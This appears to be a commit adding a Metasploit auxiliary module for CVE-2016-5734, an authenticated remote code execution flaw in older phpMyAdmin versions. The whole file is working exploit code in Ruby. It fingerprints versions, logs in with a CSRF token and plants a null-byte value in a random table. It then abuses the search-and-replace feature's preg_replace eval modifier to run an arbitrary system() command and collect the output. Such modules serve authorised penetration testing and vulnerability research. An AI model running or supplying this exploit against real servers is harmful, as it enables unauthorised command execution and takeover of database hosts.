Add 'phpMyAdmin Authenticated Remote Code Execution' aux module - CVE-2016-5734
Cantoni Matteo
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
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'Description' => %q{
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phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
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4.6.3 does not properly choose delimiters to prevent use of the preg_replace e
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(aka eval) modifier, which might allow remote attackers to execute arbitrary
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PHP code via a crafted string, as demonstrated by the table search-and-replace
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implementation.
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},
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'Author' =>
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[
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'Michal Čihař and Cure53', # Discovery
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'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '91387' ],
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[ 'CVE', '2016-5734' ],
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[ 'CWE', '661' ],
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[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
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[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
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[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 23 2016'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
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OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
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OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
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OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin']),
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OptString.new('CMD', [ false, "The command to execute", 'uname -a'])
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])
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end
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def check
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begin
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res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
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rescue
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print_error("#{peer} - Unable to connect to server")
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return
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end
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if res.code != 200
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print_error("#{peer} - Unable to query /js/messages.php")
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return
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end
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# PHP 4.3.0-5.4.6
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# Remember that servers with PHP version greater than 5.4.6
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# is not exploitable, because of warning about null byte in regexp
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php_version = res['X-Powered-By']
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if php_version
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vprint_status("#{peer} - PHP version: #{php_version}")
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if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
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if $1.to_i > 5
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return Exploit::CheckCode::Safe
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else
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if $1.to_i == 5 and $2.to_i > 4
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return Exploit::CheckCode::Safe
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else
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if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
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return Exploit::CheckCode::Safe
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end
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end
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end
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end
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else
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vprint_status("#{peer} - Unknown PHP version")
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end
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# 4.3.0 - 4.6.2 authorized user RCE exploit
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if res.body =~ /pmaversion = '(\d)\.(\d)\.(.*)';/
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vprint_status("#{peer} - phpMyAdmin version: #{$1}.#{$2}.#{$3}")
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if $1.to_i > 4
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return Exploit::CheckCode::Safe
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end
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if $1.to_i == 4 and ($2.to_i < 3 or $2.to_i > 6)
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return Exploit::CheckCode::Safe
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else
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if $1.to_i == 4 and $2.to_i >= 6 and $3.to_i > 2
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return Exploit::CheckCode::Safe
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end
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end
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if $1.starts_with? '4'
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def run
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return if check != Exploit::CheckCode::Vulnerable
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uri = target_uri.path
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vprint_status("#{peer} - Grabbing CSRF token...")
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response = send_request_cgi({ 'uri' => uri})
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if response.nil?
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fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
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end
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if (response.body !~ /"token"\s*value="([^"]*)"/)
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fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
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else
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vprint_status("#{peer} - Retrieved token")
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end
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token = $1
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post = {
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'token' => token,
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'pma_username' => datastore['USERNAME'],
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'pma_password' => datastore['PASSWORD']
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}
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vprint_status("#{peer} - Authenticating...")
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login = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'index.php'),
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'vars_post' => post
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})
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if login.nil?
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fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
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end
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if login.redirect?
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token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
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else
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fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
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end
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cookies = login.get_cookies
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login_check = send_request_cgi({
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'uri' => normalize_uri(uri, 'index.php'),
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'vars_get' => { 'token' => token },
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'cookie' => cookies
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})
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if login_check.body =~ /Welcome to/
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
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else
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vprint_status("#{peer} - Authentication successful")
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end
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#
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# Create random table and column
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#
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rand_table = Rex::Text.rand_text_alpha(3+rand(3))
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rand_column = Rex::Text.rand_text_alpha(3+rand(3))
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sql_value = '0%2Fe%00'
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vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");
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create_table_post = {
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'show_query' => '0',
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'ajax_request' => 'true',
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'db' => datastore['DATABASE'],
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'pos' => '0',
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'is_js_confirmed' => '0',
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'fk_checks' => '0',
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'sql_delimiter' => ';',
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'token' => token,
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'SQL' => 'Go',
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'ajax_page_request' => 'true',
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'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
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"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
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"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
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}
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create_rand_table = send_request_cgi({
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'uri' => normalize_uri(uri, 'import.php'),
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'method' => 'POST',
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'cookie' => cookies,
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'encode_params' => false,
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'vars_post' => create_table_post
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})
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if create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
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fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
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else
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vprint_status("#{peer} - Random table created")
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end
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#
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# Execute command
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#
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command = Rex::Text.uri_encode(datastore['CMD'])
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command_payload_data = {
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'columnIndex' => '0',
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'token' => token,
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'submit' => 'Go',
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'ajax_request' => 'true',
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'goto' => 'sql.php',
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'table' => rand_table,
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'replaceWith' => "system%28%27#{command}%27%29%3B",
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'db' => datastore['DATABASE'],
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'find' => sql_value,
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'useRegex' => 'on'
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}
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execute_command = send_request_cgi({
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'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
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'method' => 'POST',
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'cookie' => cookies,
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'encode_params' => false,
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'vars_post' => command_payload_data
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})
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if execute_command.body =~ /(.*);token=(.*)\\"><\\\/a>(.*)\\n","success":true,(.*)/i
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print_good("#{peer} - Output for \"#{datastore['CMD']}\"")
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cmd_output = $3.to_s
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cmd_output.split('\n').each do |line|
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print_good("#{peer} #{line}")
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end
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# Report output
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report_note(
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:rhost => datastore['RHOST'],
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:rport => datastore['RPORT'],
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:type => "os_command",
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:name => datastore['CMD'],
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:data => cmd_output
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)
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else
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fail_with(Failure::Unknown, "#{peer} - Failed to execute the command")
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end
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#
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# Remove random table
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#
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vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")
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remove_table_data = {
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'show_query' => '0',
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'ajax_request' => 'true',
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'db' => datastore['DATABASE'],
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'pos' => '0',
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'is_js_confirmed' => '0',
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'fk_checks' => '0',
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'sql_delimiter' => ';',
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'token' => token,
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'SQL' => 'Go',
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'ajax_page_request' => 'true',
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'sql_query' => "DROP+TABLE+`#{rand_table}`"
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}
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remove_table = send_request_cgi({
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'uri' => normalize_uri(uri, 'import.php'),
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'method' => 'POST',
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'cookie' => cookies,
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'encode_params' => false,
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'vars_post' => remove_table_data
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})
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if remove_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
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fail_with(Failure::Unknown, "#{peer} - Failed to remove the random table")
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end
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end
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end
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